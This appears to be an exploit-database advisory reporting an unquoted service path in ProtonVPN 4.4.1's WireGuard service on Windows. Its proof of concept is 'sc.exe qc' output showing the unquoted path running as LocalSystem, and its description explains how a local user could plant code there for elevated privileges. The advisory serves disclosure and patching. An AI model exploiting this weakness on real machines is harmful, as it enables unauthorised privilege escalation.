ProtonVPN v4.4.1 - Unquoted Service Path

# Exploit Title: ProtonVPN v4.4.1 - Unquoted Service Path
# Date: 2026-06-22
# Exploit Author: Milad Karimi
# Contact: [email protected]
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Vendor Homepage: https://protonvpn.com/
# Software Link: https://protonvpn.com/

 # Version: 4.4.1
# Tested on: Windows 10 Pro x64

Description:
A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.

Proof Of Concept:
PS C:\Users\Emre> sc.exe qc "ProtonVPN Wireguard"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ProtonVPN Wireguard
        TYPE : 10 WIN32_OWN_PROCESS
        START_TYPE : 3 DEMAND_START
        ERROR_CONTROL : 1 NORMAL
        BINARY_PATH_NAME : C:\Program Files (x86)\Proton
Technologies\ProtonVPN\ProtonVPN.WireGuardService.exe
C:\ProgramData\ProtonVPN\WireGuard\ProtonVPN.conf
        LOAD_ORDER_GROUP :
        TAG : 0
        DISPLAY_NAME : ProtonVPN WireGuard
        DEPENDENCIES : Nsi
                           : TcpIp
        SERVICE_START_NAME : LocalSystem